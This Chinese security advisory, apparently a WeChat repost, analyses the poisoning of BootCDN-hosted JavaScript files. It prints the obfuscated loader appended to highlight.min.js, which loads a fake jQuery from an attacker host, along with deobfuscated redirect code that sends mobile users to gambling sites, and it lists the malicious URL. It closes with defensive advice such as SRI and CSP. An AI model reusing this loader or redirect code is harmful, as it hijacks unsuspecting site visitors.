近期有多个开发者在V2EX等社区中反馈发现BootCDN中的资源存在投毒代码,6月21日墨菲安全也通过OSCS社区发布 BootCDN 投毒风险预警,其中多个资源如:highlight.js、vconsole.min.js、react-jsx-dev-runtime.development.js 被投毒,当用户使用移动端浏览器加载包含恶意 JS 文件的页面时,可能会被重定向到博彩/色情网站。
BootCDN 是一个开源的前端资源仓库,自2013年上线以来共收录了 4387 个前端开源项目(见图1),为开发者提供稳定、快速、免费的静态资源加速访问。BootCDN 的用户基数大且活跃,在过去一个月中有将近 1500 亿次资源请求。
从开发者反馈来看,当引入HTTPS资源时仍被投毒,投毒者可能具有BootCDN的控制权限,建议开发者谨慎使用 BootCDN 中的资源文件,并加入SRI(子资源完整性)配置。
图1:BootCDN
1. 隐藏在 BootCDN 资源文件中的恶意代码
当引入 BootCDN 中被投毒的资源文件时,将会以该文件为跳板加载恶意 jQuery 文件。以 highlight.min.js为例,为了增强恶意代码的隐蔽性,桌面端浏览器加载 https://cdn.bootcss.com/highlight.js/9.7.0/highlight.min.js 时为正常代码,只有移动端请求才会加载恶意的 highlight.js 代码(如图2)。恶意的highlight.js 代码可在 https://pastebin.com/fuCxWTGA 获取,或通过指定 Referer 和 User-Agent 的请求进行获取:(当前已无法复现)
curl 'https:
//cdn.bootcss.com/highlight.js/9.7.0/highlight.min.js'
-
H
'sec-ch-ua:
"Not.A/Brand"
;v=
"8"
,
"Chromium"
;v=
"114"
,
"Google Chrome"
;v=
"114"
'
-
H
'
Referer
: https:
//bbs.letitfly.me/'
-
H
'sec-ch-ua-mobile: ?
1
'
-
H
'
User
-
Agent
:
Mozilla
/
5.0
(
Linux
;
Android
10
;
K
)
AppleWebKit
/
537.36
(
KHTML
, like
Gecko
)
Chrome
/
114.0
.
0.0
Mobile
Safari
/
537.36
'
-
H
'sec-ch-ua-platform:
"Android"
'
--compressed
图2: highlight.min.js 对比图
恶意代码附加在正常的 highlight.min.js 底部,判断 User-Agent 中不包含包含 Mac 和 Win ,并且 Referer 中包含“.”字符时执行 nRgmSS 函数,从 https://union.macoms.la/jquery.min-4.0.2.js 加载伪造的 jQuery 文件,以下为highlight.js 的部分恶意代码:
// highlight.js
// ...
eval
(
'window'
)[
'nRgmSS'
] =
function
(
)
{; (
function
(
u, r, w, d, f, c
)
{
var
x = ZgAxTVuE;
u =
decodeURIComponent
(x(u.replace(
new
RegExp
(c +
''
+ c,
'g'
), c)));
'jQuery'
;
k = r[
2
] +
'c'
+ f[
1
];
'Flex'
;
v = k + f[
6
];
var
s = d.createElement(v + c[
0
] + c[
1
]),
g =
function
(
)
{};
s.type =
'text/javascript'
; {
s.onload =
function
(
)
{
g()
}
}
s.src = u;
'CSS'
;
d.getElementsByTagName(
'head'
)[
0
].appendChild(s)
})(
'aHR0cHM6Ly91bmlvbi5tYWNvbXMubGEvanF1ZXJ5Lm1pbi00LjAuMi5qcw=='
,
'cQsQXicQyNpyn'
,
window
,
document
,
'FrVOWOiGvdCfyIG'
,
'ptuSvAKzIW'
)
};
if
(! (
/^Mac|Win/
.test(navigator.platform)) && (
document
.referrer.indexOf(
'.'
) !==
-1
))
nRgmSS();
2. 始作俑者:恶意 jQuery 文件行为分析
恶意的 jQuery 源码会在页面底部增加浮动广告,并引入站点访问统计脚本:https://js.users.51.la/13553579781.js,随后通过 check_tiaozhuan 函数进行判断,当浏览器满足以下条件时跳转到博彩网站(见图3):
(1)用户使用移动设备(手机、平板等)访问页面。
(2)页面的URL包含 baidu.com、51.la、cnzz.com 等关键词。
(3)页面的来源(referrer)不是当前页面的域名或子域名,并且包含"."字符。
(4)每隔一段随机的时间进行跳转。
图3:跳转后的恶意网站
其中跳转的恶意网址 newcrbpc.com 和 ktyk2n.com 分别于2023年05月21日和2023年05月29日进行注册,对应的主机IP分别位于印度马哈拉施特拉邦和美国加利福尼亚州(如图4):
图4:网站服务器IP地址信息
下面为经过反混淆后的部分恶意 jquery.min-4.0.2.js 代码:
;
//以下为恶意jquery.min-4.0.2.js中的部分代码
/**
* @return {?}
*/
function
isPc
(
)
{
/** @type {function(number, ?): ?} */
var
forEach = a0_0x1588;
try
{
/** @type {boolean} */
var
winRef = navigator[forEach(
396
)] == forEach(
381
) || navigator[
"platform"
] ==
"Windows"
;
/** @type {boolean} */
var
inputWin = navigator[forEach(
396
)] == forEach(
373
) || navigator[forEach(
396
)] ==
"MacPPC"
|| navigator[
"platform"
] == forEach(
375
) || navigator[forEach(
396
)] == forEach(
388
);
return
inputWin || winRef ? !![] : ![];
}
catch
(_0x27e953) {
return
![];
}
}
/**
* @param {string} data
* @return {undefined}
*/
function
vfed_update
(
data
)
{
/** @type {function(number, ?): ?} */
var
gotoNewOfflinePage = a0_0x1588;
loadJS(gotoNewOfflinePage(
376
),
function
(
)
{
if
(data !==
""
) {
/** @type {string} */
window
[
"location"
][
"href"
] = data;
}
});
}
/**
* @return {undefined}
*/
function
check_tiaozhuan
(
)
{
/** @type {function(number, ?): ?} */
var
prefixed = a0_0x1588;
var
_0x281da9 = navigator[prefixed(
394
)][prefixed(
380
)](
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if
(_0x281da9) {
var
style =
window
[prefixed(
378
)][prefixed(
398
)];
var
doc =
document
[
"referrer"
];
/** @type {string} */
var
fn =
""
;
var
prefixedProp = prefixed(
386
);
var
_0x5bc150 =
Math
[
"floor"
](
Math
[prefixed(
369
)]() *
100
+
1
);
var
_0x337fb8 =
Math
[
"floor"
](
Math
[prefixed(
369
)]() *
100
+
1
);
/** @type {!Date} */
var
outputs =
new
Date
;
var
_0x17c92b = outputs[prefixed(
399
)]();
if
(style[prefixed(
366
)](prefixed(
395
)) !==
-1
|| style[prefixed(
366
)](prefixed(
368
)) !==
-1
) {
fn = prefixed(
386
);
}
else
{
if
(style[prefixed(
366
)](
"shuanshu.com.com"
) !==
-1
) {
/** @type {string} */
fn =
"https://newcrbpc.com/redirect?from=bscbc"
;
}
else
{
if
(doc[
"indexOf"
](
"."
) !==
-1
&& doc[prefixed(
366
)](style) ==
-1
) {
/** @type {string} */
fn =
"https://newcrbpc.com/redirect?from=bscbc"
;
}
else
{
if
(_0x17c92b >=
0
&& _0x17c92b <
2
) {
if
(_0x5bc150 <=
10
) {
fn = prefixedProp;
}
}
......
}
}
}
if
(fn !=
""
&& !isPc()) {
if
(
document
[
"cookie"
][
"indexOf"
](prefixed(
400
)) ==
-1
&&
document
[prefixed(
387
)][prefixed(
366
)](prefixed(
385
)) ==
-1
) {
vfed_update(fn);
}
}
}
}
let
tsastr =
document
[
"documentElement"
][a0_0x1f0070(
377
)];
let
bdtjfg = tsastr[a0_0x1f0070(
366
)](a0_0x1f0070(
372
)) !=
-1
;
let
cnzfg = tsastr[a0_0x1f0070(
366
)](a0_0x1f0070(
389
)) !=
-1
;
let
wolafg = tsastr[a0_0x1f0070(
366
)](a0_0x1f0070(
370
)) !=
-1
;
if
(bdtjfg || cnzfg || wolafg) {
setTimeout(check_tiaozhuan,
2E3
);
}
else
{
check_tiaozhuan();
}
;
此类针对特定场景投毒由于不稳定复现,容易存在取证难的问题,此前类似的前端CDN jsDelivr 也曾在国内遭受投毒攻击,加载来自 xf.yellowto.com 的恶意广告。今年4月,有攻击者利用 CDN 在 http://wallet.myalgo.com 网页端和用户之间注入恶意代码,导致 Algorand 生态钱包 MyAlgo 遭受攻击,Algorand 上超过920万美元资产(1950万枚ALGO、350万枚USDC等)被盗。
开发者可采取以下措施进行预防:
(1)使用可信的资源仓库或通过自托管资源库减少对第三方资源库的依赖;
(2)在浏览器引用外部资源时,使用 SRI 策略对其完整性进行验证;
(3)使用组件的漏洞扫描工具对项目进行定期检测,实时监控和分析CDN流量,检测异常流量和恶意行为;
(4)使用内容安全策略(CSP)限制浏览器加载和执行的内容。
本文参考链接
- https://union.macoms.la/jquery.min-4.0.2.js
- https://www.v2ex.com/t/950163
- https://www.v2ex.com/t/403110
- https://www.binance.com/it/feed/post/447998
- https://developer.mozilla.org/zh-CN/docs/Web/Security/Subresource_Integrity
原文始发于微信公众号(墨菲安全实验室):BootCDN 风险预警,多个资源被植入后门代码
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论